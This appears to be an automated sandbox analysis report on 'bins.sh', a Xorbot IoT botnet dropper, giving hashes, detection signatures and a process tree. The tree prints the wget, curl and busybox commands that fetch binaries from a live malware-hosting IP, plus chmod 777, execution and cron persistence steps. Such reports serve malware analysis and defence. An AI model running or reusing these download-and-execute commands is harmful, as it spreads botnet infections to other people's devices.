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Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    121s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/01/2025, 20:12

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6199f4dff7535b35fb225c6afd969645

  • SHA1

    0246e2d10d111a8df6b975e232d31c9759916ba3

  • SHA256

    64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae

  • SHA512

    e029fc458ebd8eee60d9b7bec97e53d18e91d0b8ca7509429876ba54f2eacfeb125e65b42f2cec3c9b8f692ceba7b6545faaee16d4fbfc0f52d8fb95cdcaa807

  • SSDEEP

    96:CzAcg+zLgQIaxtdyiCZVqMiit7Tcpt1bZptNbZh+/Acg+zLVaQIaxtYHGzyiCZV8:CzVyiCZVTncpt1bjthCByiCZV8

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2152) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/chmod
          chmod 777 puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • File and Directory Permissions Modification
          PID:1487
        • /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          ./puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Executes dropped EXE
          PID:1489
        • /bin/rm
          rm puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
            PID:1492
          • /usr/bin/wget
            wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Writes file to tmp directory
            PID:1493
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Writes file to tmp directory
            PID:1495
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /bin/chmod
            chmod 777 lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • File and Directory Permissions Modification
            PID:1497
          • /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            ./lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1498
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1500
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1501
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1502
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1503
                • /bin/rm
                  rm lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
                  2⤵
                    PID:1505
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
                    2⤵
                      PID:1508

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                    Download Submit

                  • /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
                    Filesize

                    117KB

                    MD5

                    849fa04ef88a8e8de32cb2e8538de5fe

                    SHA1

                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                    SHA256

                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                    SHA512

                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.ALrT4R
                    Filesize

                    210B

                    MD5

                    df42afe8f0e3f8bc7acaf03d76e8597a

                    SHA1

                    b0c4079bc101dbbb4258805d1a033dfcd26a0c38

                    SHA256

                    f0d314ca3d482be0ea6947802cfe4961300c37ad6f6351ca6c5838f57258fbea

                    SHA512

                    c2ca2ce9342131148ab94c101010ff00eee0c488c25f652f7085e82d4df8b8c698e4bc3be7d05c4cc8565c0c2fff8b7ad444640d283643fcd1cc6bd5aefec2e2

                    Download Submit